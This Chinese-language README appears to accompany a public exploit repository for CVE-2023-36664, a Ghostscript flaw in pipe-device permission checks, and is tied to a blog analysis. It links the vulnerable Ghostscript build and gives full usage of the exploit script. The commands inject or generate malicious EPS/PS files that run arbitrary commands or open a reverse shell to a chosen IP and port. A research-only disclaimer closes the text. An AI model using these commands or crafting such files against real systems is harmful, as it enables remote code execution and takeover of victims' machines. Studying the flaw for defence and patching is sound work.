在 10.01.2 之前的 Ghostscript 版本中披露的漏洞可导致代码执行(CVSS 评分为 9.8)。
官方漏洞描述:
Artifex Ghostscript 至 10.01.2 版本错误处理管道设备(带有 %pipe% 前缀或 | 管道字符前缀)的权限验证。
Debian 发布了一份安全公告,提到可能执行任意命令:
"据发现,Ghostscript(GPL PostScript/PDF 解释器)未正确处理管道设备的权限验证,如果处理格式错误的文档文件,可能会导致任意命令的执行。"
该仓库是为 vsociety 博客上的一篇 CVE 分析博文而创建。
在此下载 Ghostscript 10.01.1:https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Windows x64 可执行文件的直接链接:https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
打开 PS 或 EPS 文件时即可触发漏洞利用,并因 Ghostscript 错误处理管道设备的权限验证而导致代码执行。
用法:python3 CVE_2023_36664_exploit.py <input_file> <command>
示例:
python3 CVE_2023_36664_exploit.py file.eps "calc"
这会生成一个名为 file_injected.eps 的新文件。
使用 Ghostscript 打开此文件以触发计算器(自 9.50 版本起,你还需要使用 -dNOSAFER 选项):
gs10011w64.exe -dNOSAFER .\file_injected.eps
其他示例: 生成一个新的 EPS 文件 run_calculator.eps,载荷为 "calc"(在 Windows 上弹出新的计算器)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
生成一个新的 EPS 文件 rev_shell.eps,使用自定义 IP(在 Unix 上触发时启动反弹 shell)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
生成一个新的 PS 文件 malicius.ps,载荷为 "calc"(在 Windows 上弹出新的计算器)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
将恶意自定义载荷("calc")注入到现有文件 file.eps 中(在 Windows 上弹出新的计算器)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
本软件纯粹出于学术研究以及开发有效防御技术的目的而创建,除非得到明确授权,否则不应用于攻击系统。项目维护者不对软件的滥用承担任何责任。请负责任地使用。